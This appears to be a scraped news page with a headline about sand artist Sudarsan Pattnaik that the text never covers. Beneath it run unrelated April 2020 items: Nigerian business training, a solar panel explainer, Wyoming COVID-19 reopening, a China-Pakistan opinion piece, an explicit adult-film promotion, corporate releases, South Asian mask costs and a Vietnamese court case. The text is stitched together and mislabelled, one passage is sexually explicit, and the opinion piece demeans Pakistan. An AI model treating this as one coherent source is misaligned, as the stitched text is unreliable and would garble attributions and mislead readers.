Know About Sudarsan Pattnaik, The Famous Sand Artist The Lagos branch of Phone and Allied Product Dealers Association of Nigeria (PAPDAN) on Tuesday said it would commence an in-house training for its members on Online business. The PAPDAN president, Ifeanyi Akubue, told the News Agency of Nigeria (NAN) in Lagos that the training was necessitated by the effect of the lockdown on businesses. Mr Akubue said the training would also highlight the importance of online transaction, notwithstanding the capacity of the business. According to him, online business is for Small, Medium and Large enterprises, contrary to the belief of some individuals. Although majority of our members are working online, this is a lesson to some people because no matter the capacity of your business, you can do your business online. Some people do not believe in it, just like the COVID-19, so people still do not believe in it. While some, not becuase they do not believe in working remotely, but they rather think that their capacity cannot accommodate online, he said. Mr Akubue said that after the lockdown, the association would have an in-house training for its members to expose them to the benefits, especially being in the ICT sector. He, however, emphasised that the gains of the online businesses were much, as it creates an opportunity for wider reach. The president added that online businesses would also complement the physical stalls. NAN reports that the Federal Government had imposed a lockdown of the Federal Capital Territory, Lagos and Ogun states to curb the spread of the virus, hence causing people to work remotely. (NAN) Wed guess everyone reading this knows the basics of how solar panels work: they convert sunlight into electricity. But are you curious to learn more about the science behind the fastest-growing energy source in the U.S.? A record number of homeowners are going solar to help lessen their dependence on traditional utility companies, slash monthly electric bills and reduce the environmental impact associated with fossil fuels with the help of reliable solar companies. Understanding how this form of renewable energy works empowers home and business owners to make an educated decision about whether to switch to solar power. Lets dive into the science of solar. How Do Solar Panels Work? It all starts with whats called the photovoltaic effect: the ability of select matter to generate an electric current when exposed to sunlight. In 1839, the French physicist Edmond Becquerel (at only 19 years of age) first observed the photovoltaic effect by immersing two plates of gold in a conducting solution and exposing them to sunlight. This discovery sparked a great deal of interest, research and development. Fast forward just under 200 years, and we have the modern solar panel. Solar panels use photovoltaic cells, or PV cells, to absorb light (in the form of photons) from the sun. When sunlight hits the panels, they generate a direct current, or DC, electricity. However, homes require alternating current, or AC, electricity. A device called a solar inverter is a key part of the solar energy system, converting the electric current from DC to AC. The AC power then circulates through your household electrical panel and is distributed as needed to your different systems, appliances and outlets. Before we dive into the science of solar panels on a molecular level, heres a broad summary of how solar panels work: Photovoltaic cells absorb sunlight, then turn it into DC energy. An inverter turns the DC energy into AC energy, which is what your household electrical system requires. Electricity is distributed throughout your home, powering outlets and appliances. Any excess or leftover electricity that is produced is fed into a battery bank or back to your local power grid. If your home is connected to the electrical grid (and most homes are), then it comes with a utility meter. This meter is what allows your utility company to measure how much energy you are consuming. During your solar panel installation, your solar system will typically be connected to the utility meter, so that you can measure the amount of electricity you produce versus the amount you consume. This ensures that youre only paying for the electricity you pull from the grid and not the solar electricity youre using. The Science of Solar Panels While there are varying types of solar panels to choose from, most residential and commercial solar systems work in roughly the same way. A metal frame and glass casing surrounds a thin layer of silicon cells. Wires throughout the panel allow for the free flow of electricity. You may (or may not) remember from your high school science classes that silicon is a non-metal with conductive properties. In other words, silicon can absorb light and turn it into electricity. There are plenty of other semiconductors with the same properties, but scientists chose silicon for solar panels because of its relative abundance and affordability on a large scale. How it works is simple: when light hits the silicon cells, electrons are set into motion, producing an electrical current. This flow of electricity was the process observed by Edmond Becquerel back in 1839 and has since been coined the photovoltaic effect, one of the core principles of solar technology. More About the Photovoltaic Effect Lets dig into the photovoltaic effect a little deeper. The photovoltaic effect simply describes the property by which these materials can generate electricity any time they are exposed to sunlight. Heres a step-by-step summary of how solar panels work via the photovoltaic effect: Sunlight hits the solar panel, which has two layers of silicon: an N-type layer that sits on top of a P-type layer. The suns energy knocks an electron from its bond in the upper N-type layer, creating both a freely roaming electron and a positively charged hole where the electron was previously bonded. The hole travels down to the P-type layer, and the free electron is channeled through conductive wires to an inverter. The inverter transforms the solar electricity from DC to AC so that it can be used in your home. The electricity flows throughout your home to power systems, appliances and outlets. How Solar Panels Work With Your Power Grid or Battery Bank Many solar homes produce more energy than they need. We mentioned earlier that this excess electricity can either be fed back into the central power grid or stored in a solar battery. So, how do solar panels work with each component? Power grid: When you feed energy back into your power grid, if you have a local net metering program, you can receive credits from your utility company to save even more money on your monthly bills and help offset the cost of solar panels. When you feed energy back into your power grid, if you have a local net metering program, you can receive credits from your utility company to save even more money on your monthly bills and help offset the cost of solar panels. Battery: The best solar batteries have a high capacity so that you can store enough excess energy to power your home during power outages and on especially cloudy days. Batteries also provide backup power for outages during extreme weather events. Additional Factors to Understand Of course, any science as complex as solar science will have variations in design and development. As such, its important to consider the factors that might differentiate quality or intended use. To begin, you might notice most solar panels are either monocrystalline or polycrystalline. Monocrystalline panels are made using a single silicon crystal. They tend to be the most efficient solar panels, though they can also be the most expensive. Polycrystalline solar panels are made up of multiple crystal fragments and usually cost less. Solar projects with limited space might opt for monocrystalline, while projects with lower power needs or ample space might prefer the affordability of polycrystalline. We mentioned above that most solar panels come with a glass casing. This helps protect the silicon solar cells and ensures the longevity and durability of your home solar system. Beneath that glass case, there may also be some insulating materials, which protect your equipment from humidity as well as from heat dissipation. The casing and insulation are crucial to the overall efficiency and durability of a solar panel. This might sound simple, but think about how you would safely encase a solar panel without reflecting any of the sunlight intended for absorption. Scientific challenges like this are what keep the industry moving forward. Getting Started With Solar Energy Now that you know how solar panels work, you may feel ready to get going with your own solar energy system. The first step is identifying the best solar companies in your area and calling an installer to find out if solar panels are worth it for your home. Your installer will conduct an assessment based on the size of your home, the surface area of your roof, the amount of sunlight you get and more. It will furnish some guidance as to how many solar panels you need and which type of panel is right for your installation. Getting a home solar system can be a great way to save money on your monthly utility costs while demonstrating a real commitment to environmental stewardship. To start getting free quotes from solar installers in your area, you can use this tool or fill out the form below. FAQ: How Solar Panels Work Step by step, how do solar panels work? Solar panels work by absorbing solar energy and converting it into usable AC electricity through this process: Photovoltaic cells absorb sunlight, then turn it into DC energy. An inverter turns the DC energy into AC energy, which is what your household electrical system requires. Electricity is distributed throughout your home, powering outlets and appliances. Any excess or leftover electricity that is produced is fed into a battery bank or back to your local power grid. What are the two main disadvantages of solar panels? The two main disadvantages of solar panels are that they only generate electricity when the sun is out, and theyre only effective on roofs with proper space and exposure to sunlight. To combat these disadvantages, manufacturers are developing solar batteries that store excess energy generated in daylight hours for use when the sun is down. You might also be surprised by how effective solar panels are on cloudy days. Further, utility companies are investing in solar farms and community solar to share the benefits of solar with homes unfit for solar panels themselves. Do solar panels work when there is no sun? Solar panels do not generate electricity when the sun isnt shining. However, most solar arrays generate more electricity during peak daylight hours than can be used in a day. Solar batteries are used to store this excess energy for use when the sun isnt up. Karsten Neumeister is a writer and renewable energy specialist with a background in writing and the humanities. Before joining EcoWatch, Karsten worked in the energy sector of New Orleans, focusing on renewable energy policy and technology. A lover of music and the outdoors, Karsten might be found rock climbing, canoeing or writing songs when away from the workplace. Barbershops, nail salons and gyms can all reopen with restrictions later this week, Gov. Mark Gordon announced Tuesday, marking the first step taken by the state to begin unwinding some of the restrictions put in place last month to slow the spread of the novel coronavirus. I am hopeful now that we are indeed on a forward path, State Health Officer Dr. Alexia Harrist said during a Tuesday press conference. The openings come with conditions. For barbershops, tattoo parlors and nail salons, services can be provided by appointment only and face coverings must be worn to the extent possible; staff and customers must also be screened for symptoms of illness or exposure to a person with COVID-19. No more than nine people can be in one area at a time, and work stations must be six feet apart. Gyms can reopen but are limited in the number of people they can have inside at any given moment, equipment must be separated, no classes or personal-training sessions can be held, staff must wear face masks and must clean each piece of equipment after their use. In all cases, the businesses have to keep adequate records of its patrons, including names and telephone numbers, for purposes of COVID-19 tracing in the event contact tracing is necessary. Under the revised orders, day cares can now begin accepting all children, rather than only kids whose parents are essential workers. Restaurants can allow up to five people inside at a time to pick up food, though in-person dining is still prohibited. These new orders start our process of getting this part of Wyomings economy up and running again, Gordon said in an announcement. We have asked Wyoming citizens to make sacrifices over the past five weeks and they have responded. I want to thank these businesses for playing such an important role in our initial battle with COVID-19. Easing the restrictions on these businesses at this time is prudent and gets us one step closer to a return to normal. Other restrictions, including one that prohibits gatherings of 10 or more people, are being extended through mid-May. Schools cannot hold classes until at least May 18, though individual counties may apply for exemptions allowing their districts to reopen. Several school boards including Natrona County have already voted to keep schools shuttered through the rest of this academic term. Slowing transmission Its been seven weeks since Wyoming confirmed its first coronavirus case. Gordon has declared a state of emergency, and Harrist has imposed the health orders in an effort to slow the spread of the virus. Over those seven weeks, 396 people have been confirmed to have the disease while another 140 have likely developed it. Of those 536 probable or certain patients, 362 have recovered. Seven people have died. However, the actual number of cases is almost certainly higher given the dearth of testing, although that situation has improved of late. Harrist told the Star-Tribune that the measures put in place by her and the governor have had a beneficial effect and have slowed transmission, which is one of the reasons why were able to ease some restrictions. But I would also urge caution that weve seen resurgence of this virus happen elsewhere, she said. Its absolutely possible we could see another surge here in Wyoming, and were going to have to watch for that, monitor that and take appropriate actions based on that if we do see it. An order from Gordon mandating quarantine for people traveling into Wyoming is set to expire Thursday and is currently under review for an extension. While the orders are from the states health officer, they also allow counties to apply for variances, either to make the restrictions more or less stringent. We all recognize that the virus has had severe impacts in some Wyoming communities, while other towns and counties have been spared, Gordon said in his statement. This plan takes into account the continued safety of our citizens and establishes a process to consider some case-by-case exceptions to state health orders when appropriate. It is important that we do not surrender the ground we have taken and that we extend our gains against this virus. Harrist said that future loosening of restrictions would be gradual in nature, rather than a cascade of lifted limitations. These orders go through May 15, so thats a two-week period, she said. A two-week period is the incubation period of the virus. Its really the minimum amount of time, in my opinion, that you can observe this outbreak and know if what youre seeing is a sustained changed. Everything will be based on what data are showing us. Striking a balance The restrictions have been in place for more than a month as the state has attempted to get a handle on the spread of the pandemic. Gordon said last week that he was preparing to loosen up some orders but that these measures would be monitored to see if they contributed to a spike in new cases. While the number of new cases announced each day had stabilized through much of April, theres been a sharp increase in recent days. Nineteen new cases were announced Monday, the third-highest single-day total thus far. Fremont Countys caseload has rocketed upward, from 53 cases Thursday to 98 as of Monday afternoon. Still, Wyoming has among the lowest number of confirmed cases in the country, along with the fewest deaths. Gordon previously said that individual counties can decide whether to have tighter restrictions depending on their need. There is indeed a sharp disparity between counties caseloads. Fremont County has 98, Laramie County has 89, and Teton County has 64. But Weston and Platte counties have none, and 12 more have fewer than 10 cases. Already some areas have instituted different measures. Teton County, for instance, has a shelter-in-place order, a measure also taken by Fremont Countys tribal governments. Gordon has said that the state will monitor six metrics as it continues to consider loosening other restrictions. Those metrics are new cases; percent of cases attributed to community spread; percent of all tests that are positive; total coronavirus-related hospital admissions; overall hospital bed availability; and ICU bed availability. As of late last week, the community spread and hospital admissions metrics were marked as concerning for the state, while the other four were designated as stable. Harrist told the Star-Tribune that she was monitoring the metrics on a daily basis and that further decisions about opening up the state will have to be made on a step-by-step basis, influenced by multiple metrics, rather than one piece of data. Gordon and Harrist have both stressed that increased testing are going to be pivotal in the states ongoing response to the virus. Thus far, more than 9,600 of the states 570,000 residents have been tested. While shortages of testing materials have plagued both the state lab and providers treating potential patients, more material has become available. The state Health Department said last week that its lab would begin processing any sample from a symptomatic person, rather than accepting only those swabs from priority groups. Harrist said the ongoing goal for providers is to test anyone with symptoms, a benchmark thats becoming more attainable as supplies become more plentiful. She said there was still concerns about swabs needed to take the samples themselves, though she said the lab felt good for the time being about broader testing. She attributed the recent spike in cases nearly 80 in a week is partially attributable to aggressive testing in places like Fremont County, where theres been a surge of new patients identified. She added that the states confirmed cases were one metric but that it had to be considered within the broader context of the diseases death and hospitalization rates, as well as the strain its placing on hospitals. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. One of the consequences of the Covid-19 pandemic is that China is losing admirers and friends faster than the virus is infecting people. This isnt so much because the origins of the virus lie in China as it is because of the way China has handled the entire crisis. The cover-ups coupled with calumnious diplomacy and the coercive tactics adopted by China's Wolf Warrior diplomats have incensed global public opinion and hardened official attitudes towards China in most parts of the world. Slowly but surely a backlash is developing. Losing all friends From closing Confucius Institutes to demanding a pandemic tariff on Chinese goods, from recommending cancelling Chinese investments in government securities to moving out manufacturing facilities from China, from imposing controls and restrictions on Chinese investments to inching towards building alliances to contain China, it is all happening. For its part, Pakistan cherishes its friendship with China and will want to preserve it at any cost. (File photo: Reuters) In many ways, China is today becoming as friendless as it was before it started opening up to the world in the late 1970s. It is precisely because of this unfolding spectre that China will double down on keeping its relations with the few friends it has left. Among the top in the list is India's neighbour from hell Pakistan. For the longest, the Chinese and Pakistanis have described their friendship as being higher than the Himalayas, deeper than the oceans, sweeter than honey and stronger than steel. In recent years, they call each other Iron Brothers. A top Chinese general had once termed Pakistan as China's Israel. When once asked why China puts Pakistan on such a high pedestal, a seasoned Chinese diplomat is believed to have replied that China doesnt have many friends, and would, therefore, like to nurture the few friendships it does have. And this was when China's name wasnt in the mud. In fact, at that time China was busy making new friends and, as the phrase goes, buying influence. If this was then, now more than ever before, China will do everything possible to keep its friends on its side. In other words, for the foreseeable future, Pakistan will remain China's BFF (best friend forever). For its part, Pakistan cherishes its friendship with China and will want to preserve it at any cost. While Pakistan will eagerly grab any money that the gullible West throws its way, it will not do anything to jeopardise its relations with China. Simply put: both China and Pakistan need each other China needs to flaunt a true friend and what it can do for that friend to raise its game; Pakistan needs China as a counterweight to its eternal enemy India, and for all the economic, military, technical, diplomatic and political assistance that China provides it. In a sense then, this is a relationship of mutual dependence between two unequal countries. Given the asymmetry between the two countries who gains more from the other is somewhat complicated. No free lunches For instance, over the last couple of years, the Chinese have been pumping in billions of dollars to save Pakistan from economic bankruptcy. This is over and above the around $20 billion investments made by China in the China-Pakistan Economic Corridor (CPEC). On the face of it, therefore, it would seem that China is now Pakistan's Sugar Daddy. But look a little more closely, and what you see is that China isnt giving any free lunch to Pakistan. If anything, it is charging the Pakistanis top dollar by setting up projects at grossly inflated prices, by capturing the Pakistani market through cheap exports and steadily ensuring Pakistan's deindustrialisation, by developing a strategic relationship that is aimed at giving China more than a toe-hold in the Western Indian Ocean, and by plying Pakistan with loans that bind it irretrievably to China. No alternative Pakistan, of course, knows it is being had. But two interlinked factors prevent it from questioning Chinas sharp practises. The first is that China is the only game in town for Pakistan. Who else is ready to sink in as much money into a black hole like Pakistan? Second, the Pakistanis feel that when the payback time comes, they will be able to leverage their friendship to get the Chinese to write-off their loans and alter the terms of business deals in Pakistan's favour. A few weeks back, the Chinese ambassador declared that China will never force Pakistan to repay its loans in time. Pakistanis are also now trying to renegotiate their repayment obligations on the CPEC power projects set up by Chinese companies. The Pakistanis calculate that China values them so highly that it wont do anything to sour the relationship. Cut to the chase, both China and Pakistan think they are getting what they want out of the relationship. This mutual dependence will only increase as the backlash against China intensifies. Pakistan will feel that it can get more out of China on the economic, military and diplomatic front by sticking with it even as the rest of the world starts adopting diplomatic distancing norms with China. As far as India is concerned, China has hardly shown any consideration for India's core interests. As recently as January, China tried to once again raise the issue of Jammu and Kashmir in the UN Security Council to appease Pakistan. India, therefore, needs to stop its strategic hedging on China and become part of the developing international consensus against an unfriendly communist China. (Courtesy of Mail Today) Also read: Why India should not worry about China-Pakistan ties LOS ANGELES When a prank goes awry, Cherie DeVille is there to save the day. In a recently released scene for Brazzerss Mommys Got Boobs site, she gets stuck in the middle of a prank war, and has her own way of getting pay back. Stuck On Your Mom starts with her daughter (played by Ria Rose) and her boyfriend, Ricky Spanish, talking to DeVille about their pranks. Her daughter thinks shes really pulled the ultimate prank by putting glue in the lotion. So, when Spanish starts to jerk off in DeVilles bathroom, she sees his hand is stuck to his penis. He reaches out to the MILF for help, and gets stuck on her breast. After freeing him, the older woman helps him get revenge with a deep throat blow job and lots of hard pounding. DeVille said, I absolutely love when I get called for Brazzers. They always have the most fun scenes, and I get to work with some great talent. This scene was a lot of fun and it was such a cute story! Those who want to see DeVille live can check out AdultTime.com on Thursday, April 30 at 6pm PT/9pm ET as part of their special Super Horny Fun Time series. Cherie DeVille is represented by OC Modeling. Follow Cherie DeVille on Twitter and Instagram. Regulatory News: Effective April 1, 2020, Vetoquinol's (Paris:VETO) Board of Directors has appointed Dominique Derveaux Group Chief Operations Officer. In this capacity, he will run the Business, Marketing Medical, Industrial, and Information Systems departments. He will report to Vetoquinol CEO Matthieu Frechin. Dominique Derveaux graduated from SKEMA business school with a major in advanced accounting and finance. In 1991, he began his career in Germany as a financial controller, after which he held various international business management positions in Europe and Asia Pacific in the construction industry, mostly dealing with mass market distribution channels. Dominique Derveaux first joined Vetoquinol in August 2009 as Director, Northern Europe. He was later appointed Group Director, Europe in 2011 and took over the management of North America in 2015 to become Group Director, Europe and North America until March 31, 2020. Matthieu Frechin said: "I am delighted with Dominique Derveaux's promotion to Chief Operations Officer. Since joining us 10 years ago, Dominique has demonstrated his outstanding ability to run Vetoquinol operations in Europe and North America. His talent is a key asset for our company. I am sure that, on the strength of his achievements and leadership qualities, he is capable of taking the company to new heights of success. Lastly, I would like to thank Jean-Yves Ravinet for his commitment and contribution to Vetoquinol's successful development over the past 7 years. Next update: Shareholders meeting, May 26, 2020 after market close About Vetoquinol Vetoquinol is a leading global animal health company that supplies drugs and non-medicinal products for the livestock (cattle and pigs) and pet (dogs and cats) markets. As an independent pure player, Vetoquinol designs, develops and sells veterinary drugs and non-medicinal products in Europe, the Americas and the Asia Pacific region. Since its foundation in 1933, Vetoquinol has pursued a strategy combining innovation with geographical diversification. The Group's hybrid growth is driven by the reinforcement of its product portfolio coupled with acquisitions in high potential growth markets. At December 31 2019 Vetoquinol employs 2,372 people. Vetoquinol has been listed on Euronext Paris since 2006 (symbol: VETO). For further information, go to: www.vetoquinol.com View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005675/en/ Contacts: VETOQUINOL Corporate Communication Xavier Berthet Tel.: +33 (0)3 84 62 58 77 xavier.berthet@vetoquinol.com Investor Relations Fanny Toillon Tel.: +33 (0)3 84 62 59 88 relations.investisseurs@vetoquinol.com KEIMA Communication Investor and Media Relations Emmanuel Dovergne Tel.: +33 (0)1 56 43 44 63 emmanuel.dovergne@keima.fr Masks are mandatory in most public places in India, Pakistan and Sri Lanka and advised by Afghanistan and Bangladesh. Buy a mask and let his family go hungry, or buy food and go out into the crowded city without one that is the stark choice facing Hayatullah Khan, an Afghan labourer whose daily earnings have fallen below $1.50 during the coronavirus pandemic. Like many poor South Asians, Khan has no choice but to leave the house for work. But even without the hit to his earnings from the coronavirus pandemic, he would have struggled to afford the mask authorities tell him he should wear. I have earned less than 100 afghani ($1.32) today. What am I going to do? Khan told the Reuters news agency in the Afghan capital Kabul. Should I buy a mask or food for my family? Afghan workers sit as most shops in Kabul are closed due to the coronavirus outbreak [Mohammad Ismail/Reuters] New form of inequality Wearing a mask in public is now compulsory in most places in India, Pakistan and Sri Lanka and advised by Afghanistan and Bangladesh, resulting in soaring demand and prices. With a basic disposable mask now costing up to $7 in some places, that has created a new form of inequality in cities where hundreds of millions live in cramped, unhygienic conditions. Meenakshi Ganguly, South Asia director for Human Rights Watch, said coronavirus lockdown measures had disproportionately hurt marginalised communities. Certainly, the coronavirus itself does not distinguish between prince or pauper, race or religion, said Ganguly. But how it impacts individuals differs vastly depending on their access to food, shelter, health and other basic needs. In India, business tycoon Anand Mahindra had to backtrack after tweeting an image of a woman and small child wearing leaves as makeshift masks with the words, a reminder that nature provides us with all that we need. He deleted the tweet saying it was insensitive to the inequity of the situation after others pointed out there was no evidence leaves provided protection from the virus. In Sri Lanka, authorities have capped prices at 15 rupees (eight cents) for a disposable surgical-style mask, and 150 rupees for the closer-fitting ones sometimes called respirators. Yet locals said it was difficult to find either at those prices, with pharmacies marking up costs. Earlier we bought surgical masks for 15 rupees, but now they are not available at that price, and some sell the same masks at 75 rupees, said Hashan, who lives in a slum in the capital Colombo. So most of the people in our area are wearing homemade masks now, he said, declining to give his full name as he was outside during the lockdown. South Asia has been less hard-hit by the virus than many other parts of the world, with confirmed coronavirus deaths in India a country of 1.3 billion still below the 1,000 mark. But Nipuna Kumbalathara, a spokesman for Oxfam in Asia, said cases like Hashans highlighted the need for greater public investment. Clearly people who are struggling to put meals on their tables cant pay for their safety kits, testing or care, he said by email, urging governments to provide protective gear to poor and vulnerable people. A homeless man and his son protecting themselves from the rain with a plastic sheet as they walk to a shelter in Kolkata during a nationwide lockdown [Rupak De Chowdhuri/Reuters] DIY masks The World Health Organization says masks only need to be worn by those who are sick and showing symptoms, and those caring for people suspected to have the disease. Although many governments are mandating the use of masks to curb the spread of the virus as they relax lockdown measures, others have urged the public not to buy them while there are shortages to ensure adequate supplies for healthcare workers. In India, the government has released a manual for DIY face-coverings, including ones using rubber bands. Many South Asians have found stopgap ways to cover their faces from the loose end of sarees and scarves to handkerchiefs and towels used before the outbreak to block out the sun, dust and pollution. Meanwhile, police teams, charities and womens self-help groups have been making millions of washable masks that they give to poor and rural communities free or at a low cost. Saral Design Solutions, a Mumbai-based start-up that makes low-cost sanitary pads, has switched to manufacturing up to 70 three-ply disposable surgical masks a minute for less than 6 cents each. But these are the exception most have no choice but to pay over the odds for poor-quality masks that they are only rarely able to wash. I have been using this one for many days now, said autorickshaw driver Gul Pacha Pacha in Kabul, pointing to a dirty, worn disposable mask as middle-class Afghan men wearing gloves and proper face-coverings walked by. It is difficult to breathe with it on, so I only wear it when I have passengers. Your browser does not support the audio element. A Vietnam court sentenced a man to nine months in jail for attacking a police officer when being reminded to wear a face mask in public amid the novel coronavirus disease (COVID-19) epidemic this month. The court in Can Tho, a city in the southern region of the country, convicted Nguyen Van Hai, 49, of resisting on-duty officers during a short trial because of COVID-19. Hai was drunk and wearing neither a shirt nor a face mask when he was walking along a road in Cai Khe Ward, Ninh Kieu District, Can Tho at 5:00 pm April 11, according to court documents. A team of officers was patroling the road so they stopped by to remind him to wear a face mask to prevent the transmission of the virus. Hai hurled insults at the officers, challenged them, and punched Bui Phuoc Thanh, a policeman in Cai Khe, in the face. The man went on to throw a signboard at Thanh but it missed the police officer. The other officers on the team quickly subdued Hai and took him to their station. Vietnam still requires people to wear face masks in public despite a slowing COVID-19 infection rate and an easing of social distancing restrictions. The Southeast Asian country has confirmed 270 cases, with 222 having made a recovery and no death documented, according to the Ministry of Health. It has logged only two new patients, both imported cases in quarantine, since April 17. Vietnam has conducted 213,743 coronavirus tests so far while currently quarantining 45,466 people. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Source: Xinhua| 2020-04-28 07:38:42|Editor: Lu Hui Video Player Close Members of a medical team assigned to Kyrgyzstan to help with the battle against the COVID-19 pandemic disembark from the plane upon their arrival in Urumqi, northwest China's Xinjiang Uygur Autonomous Region, April 27, 2020. The 10-member medical team returned to China on Monday. (Xinhua/Sadat) Let us know what you're seeing and hearing around the community. Submit here CHICAGO, April 28, 2020 /PRNewswire/ -- Enova International (NYSE: ENVA), a leading financial technology and analytics company offering consumer and small business loans and financing, today announced financial results for the quarter ended March 31, 2020. In addition, Enova is providing updates on steps taken to address the impact of COVID-19 on business operations, customers, and the community. "Our flexible online lending platform enabled us to quickly adapt to rapidly changing market conditions driven by the COVID-19 pandemic. Beginning late March, we shifted our focus to supporting our existing customers and reducing our originations to address risks in the current environment," said David Fisher, Enova's CEO. "We believe our earnings capacity, resilient balance sheet, flexible online-only business model, proven technology and analytics, and experienced leadership team position us well to manage through the downturn and resume growth once the economy begins to stabilize." Supporting our customers. Enova recognizes that many of our customers have been impacted by the effects of the COVID-19 pandemic. To support our hardworking customers as they deal with the rapidly changing environment, we are waiving late fees and offering a variety of repayment options to increase flexibility and reduce or defer payments for impacted customers. We remain committed to helping our customers build positive credit history and, to that end, will follow the CARES Act guidance on credit reporting. Supporting our team. Enova's nearly 1,300 team members across all corporate and contact center functions have been working remotely since mid-March and are being supported with extra pay to cover any incidental expenses associated with the temporary remote work program. Our nimble technology has allowed for full work-from-home capabilities, full access to all company platforms and continued high levels of productivity. In addition, customer service levels remain high across all contact points (phone, email and chat). Supporting our community. Earlier this month, Enova announced it will provide $500,000 to support COVID-19 related relief activities in Chicago, where a majority of its employees live and work. The funds will help support the Chicago Community COVID-19 Response Fund and the Chicago Small Business Resiliency Fund. In addition to these contributions, Enova is expanding its You Decide, Enova Gives program that allows team members to nominate and vote on additional charitable organizations to each receive $10,000. Supporting our investors. Enova's portfolio diversification, disciplined focus on unit economics for investment decisions, record of delivering solid and predictable earnings, and balance sheet resiliency will provide the financial flexibility to navigate the current economic environment while preserving key capabilities to deliver on our mission of helping hardworking people get access to fast, trustworthy credit. First Quarter 2020 Summary Total revenue of $362 million in the first quarter of 2020 increased 37% from $264 million in the first quarter of 2019. Net revenue margin was 34.9%. Net income from continuing operations of $6 million, or $0.18 per diluted share, in the first quarter of 2020, compared to $39 million, or $1.13 per diluted share, in the first quarter of 2019. First quarter 2020 adjusted EBITDA of $36 million, a non-GAAP measure, compared to $80 million in the first quarter of 2019. Adjusted earnings of $9 million, or $0.26 per diluted share, a non-GAAP measure, in the first quarter of 2020, compared to adjusted earnings of $44 million, or $1.27 per diluted share, in the first quarter of 2019. "Ahead of the rapid deterioration in the economic environment during late March, we were on track to deliver another solid quarter as reflected by strong year-over-year growth in receivables and revenue. Excluding assumptions we made in our fair value measurements to address the uncertain credit environment as the quarter closed, we would have once again delivered financial results consistent with our guidance ranges," said Steve Cunningham, CFO of Enova. "Our financial position will be a strength as we navigate economic uncertainties in the coming months. Our balance sheet resiliency is supported by a solid tangible capital position, significant committed financing capacity with strong counterparties, and low refinancing risk from thoughtful laddering of debt maturities. We ended the quarter with sizable cash balances, which had grown to $292 million on April 24. We expect cash and available liquidity to continue to grow as the business generates significant positive cash flow, especially as we slow new originations in the near term." Outlook Enova is monitoring and adapting quickly to changes in the current environment due to the COVID-19 pandemic. Given the ongoing economic uncertainty resulting from the speed of the economic slowdown and joblessness that began in March and the timing of re-opening the economy as social distancing restrictions are lifted, the Company is not providing guidance for the second quarter of 2020 and is withdrawing its full year 2020 guidance that was issued on January 29, 2020. For information regarding the non-GAAP financial measures discussed in this release, please see "Non-GAAP Financial Measures" and "Reconciliation of GAAP to Non-GAAP Financial Measures" below. Conference Call Enova will host a conference call to discuss its results at 4 p.m. Central Time / 5 p.m. Eastern Time today, Tuesday, April 28th. The live webcast of the call can be accessed at the Enova Investor Relations website at http://ir.enova.com, along with the company's earnings press release and supplemental financial information. The U.S. dial-in for the call is 1-855-560-2575 (1-412-542-4161 for non-U.S. callers). Please ask to be joined to the Enova International call. A replay of the conference call will be available until May 5, 2020, at 10:59 p.m. Central Time / 11:59 p.m. Eastern Time, while an archived version of the webcast will be available on the Enova Investor Relations website for 90 days. The U.S. dial-in for the conference call replay is 1-877-344-7529 (1-412-317-0088). The replay access code is 10142618. About Enova Enova (NYSE: ENVA) is a leading provider of online financial services to non-prime consumers and small businesses, providing access to credit powered by its advanced analytics, innovative technology, and world-class online platform and services. Enova has provided more than 6 million customers around the globe with access to more than $20 billion in loans and financing. The financial technology company has a portfolio of trusted brands serving consumers, including CashNetUSA, NetCredit and Simplic; two brands serving small businesses, Headway Capital and The Business Backer; and offers online lending platform services to lenders. Through its Enova Decisions brand, it also delivers on-demand decision-making technology and real-time predictive analytics services to clients. You can learn more about the company and its brands at www.enova.com. Cautionary Statement Concerning Forward Looking Statements This release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995 about the business, financial condition and prospects of Enova. These forward-looking statements give current expectations or forecasts of future events and reflect the views and assumptions of Enova's senior management with respect to the business, financial condition and prospects of Enova as of the date of this release and are not guarantees of future performance. The actual results of Enova could differ materially from those indicated by such forward-looking statements because of various risks and uncertainties applicable to Enova's business, including, without limitation, those risks and uncertainties indicated in Enova's filings with the Securities and Exchange Commission ("SEC"), including our annual report on Form 10-K, quarterly reports on Forms 10-Q and current reports on Forms 8-K. These risks and uncertainties are beyond the ability of Enova to control, and, in many cases, Enova cannot predict all of the risks and uncertainties that could cause its actual results to differ materially from those indicated by the forward-looking statements. When used in this release, the words "believes," "estimates," "plans," "expects," "anticipates" and similar expressions or variations as they relate to Enova or its management are intended to identify forward-looking statements. Enova cautions you not to put undue reliance on these statements. Enova disclaims any intention or obligation to update or revise any forward-looking statements after the date of this release. Non-GAAP Financial Measures In addition to the financial information prepared in conformity with generally accepted accounting principles, or GAAP, Enova provides historical non-GAAP financial information. Management believes that presentation of non-GAAP financial information is meaningful and useful in understanding the activities and business metrics of Enova's operations. Management believes that these non-GAAP financial measures reflect an additional way of viewing aspects of Enova's business that, when viewed with its GAAP results, provide a more complete understanding of factors and trends affecting its business. Management provides non-GAAP financial information for informational purposes and to enhance understanding of Enova's GAAP consolidated financial statements. Readers should consider the information in addition to, but not instead of or superior to, Enova's financial statements prepared in accordance with GAAP. This non-GAAP financial information may be determined or calculated differently by other companies, limiting the usefulness of those measures for comparative purposes. Combined Loans and Finance Receivables The combined loans and finance receivables measures are non-GAAP measures that include loans and finance receivables that Enova owns or has purchased and loans that Enova guarantees. Management believes these non-GAAP measures provide investors with important information needed to evaluate the magnitude of potential receivable losses and the opportunity for revenue performance of the loans and finance receivable portfolio on an aggregate basis. Management also believes that the comparison of the aggregate amounts from period to period is more meaningful than comparing only the amounts reflected on Enova's consolidated balance sheet since revenue is impacted by the aggregate amount of receivables owned by Enova and those guaranteed by Enova as reflected in its consolidated financial statements. Adjusted Earnings Measures In addition to reporting financial results in accordance with GAAP, Enova has provided adjusted earnings and adjusted earnings per share, or, collectively, the Adjusted Earnings Measures, which are non-GAAP measures. Management believes that the presentation of these measures provides investors with greater transparency and facilitates comparison of operating results across a broad spectrum of companies with varying capital structures, compensation strategies, derivative instruments and amortization methods, which provides a more complete understanding of Enova's financial performance, competitive position and prospects for the future. Management also believes that investors regularly rely on non-GAAP financial measures, such as the Adjusted Earnings Measures, to assess operating performance and that such measures may highlight trends in Enova's business that may not otherwise be apparent when relying on financial measures calculated in accordance with GAAP. In addition, management believes that the adjustments shown below are useful to investors in order to allow them to compare Enova's financial results during the periods shown without the effect of each of these expense items. 